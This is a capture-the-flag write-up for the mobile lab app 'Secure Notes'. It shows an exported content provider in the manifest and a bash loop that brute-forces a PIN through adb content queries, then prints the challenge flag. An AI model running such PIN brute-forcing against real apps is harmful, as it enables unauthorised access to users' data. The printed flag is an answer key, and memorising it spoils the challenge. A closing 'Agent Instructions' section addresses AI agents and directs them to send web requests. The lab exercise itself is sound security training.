# Mobile CTF Challenges Secure Notes

> Hello CTFs Fighters👋 
>
> I’m Adam (0x0dooom), and today I’d like to share a challenge solution from a mobile hacking lab.

as always move to `AndroidManifest.xml`

<figure><img src="/files/KmGKrNpIApy9NoB0nDYQ" alt=""><figcaption></figcaption></figure>

We have an exported provider :point\_up:

while navigate to `SecretSataProvider` we will have a three partitions very Important

<figure><img src="/files/qY3e6WxwTVByeIgrjOcj" alt=""><figcaption></figcaption></figure>

this part, include the way that encryption data stored in, and where the application or content is start it will do the encryption from this path (/assets/config.properties)

<figure><img src="/files/2qCkmR8YRmBrYfWpDZm5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0dXKuPv4Vzg7uyx3TC4S" alt=""><figcaption></figcaption></figure>

If we look for cnofig.properties file, it will be → /resources/assets/

<figure><img src="/files/IUNXMxtlv6ujqvI2R9Lc" alt=""><figcaption></figcaption></figure>

by using the following script we can brute force on PIN to guess the correct value:

```bash
for i in {0001..9999}; do
echo -n "PIN: $i - "
timeout 3 adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where "pin=$i" 2>/dev/null || echo "Timeout"
done | grep -v "No result"
```

I did this script after I fuck my brain, hahhaha (deep seek always win in this situations) 🤪

<figure><img src="/files/8d6f0XlQjFjho1mNqltG" alt=""><figcaption></figcaption></figure>

`CTF{D1d_y0u_gu3ss_1t!1?}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://get-bountyordie.gitbook.io/get-bountyordie-docs/our-write-ups/mobile-pentest-write-ups/mobile-ctf-challenges-secure-notes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.